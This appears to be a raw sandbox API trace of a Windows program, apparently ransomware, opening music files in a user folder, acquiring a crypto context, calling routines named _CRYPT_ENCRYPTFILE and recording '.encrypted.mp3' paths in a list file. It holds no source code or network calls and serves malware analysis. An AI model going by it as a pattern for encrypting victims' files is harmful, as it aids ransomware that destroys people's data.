[0027.098] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.098] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0027.098] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.098] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.098] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.098] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0027.098] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.098] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.098] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.098] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.098] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.098] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.099] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.099] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.099] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.099] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.099] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.099] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.099] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.099] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.099] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.099] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.099] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0027.099] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.099] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.099] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.099] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0027.099] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.099] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.100] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.100] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0027.100] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.101] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.101] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0027.101] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=6953) returned 1 [0027.101] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.101] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0027.101] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0027.101] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1b29, lpOverlapped=0x0) returned 1 [0027.101] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0027.102] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x1b29, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.102] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=6953) returned 1 [0027.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\beIfi.encrypted.mp3\r\n", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0027.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\beIfi.encrypted.mp3\r\n", cchWideChar=66, lpMultiByteStr=0xe8f4052170, cbMultiByte=66, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\beIfi.encrypted.mp3\r\n", lpUsedDefaultChar=0x0) returned 66 [0027.102] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4069890*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4069890*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x41, lpOverlapped=0x0) returned 1 [0027.102] CloseHandle (hObject=0x1fc) returned 1 [0027.103] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.103] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.103] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.103] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.103] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.103] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0027.103] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.104] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0027.104] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178400, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0027.105] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0027.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41788a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0027.105] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0027.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\g1TP7xrmQuP7.mp3", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0027.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\g1TP7xrmQuP7.mp3", cchWideChar=61, lpMultiByteStr=0xe8f4051810, cbMultiByte=61, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\g1TP7xrmQuP7.mp3", lpUsedDefaultChar=0x0) returned 61 [0027.105] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\g1TP7xrmQuP7.mp3" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\g1tp7xrmqup7.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0027.105] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=61, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 61 [0027.105] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=61, lpWideCharStr=0xe8f4067610, cchWideChar=61 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\g1TP7xrmQuP7.mp3") returned 61 [0027.106] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.106] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.106] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.107] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0027.107] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178720, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0027.107] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0027.107] CloseHandle (hObject=0x1fc) returned 1 [0027.107] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.107] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.108] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.108] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0027.108] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.108] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0027.108] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0027.108] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.108] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.108] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.108] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.108] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.108] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.108] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.108] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.108] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.108] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.108] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0027.108] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.108] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0027.108] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.108] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.108] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0027.108] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.108] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.108] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0027.108] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.109] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0027.109] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0027.109] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.109] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.109] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.109] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.109] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.109] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.109] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0027.109] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.109] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.109] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.109] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.109] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.109] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.110] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.110] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.110] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.110] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.110] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.110] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.110] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.110] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.110] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.110] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0027.110] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.110] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.110] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.110] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.110] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.110] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0027.110] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.110] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4063410) returned 1 [0027.110] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.110] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.110] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0027.111] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.111] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.111] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.111] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.111] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.111] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.111] 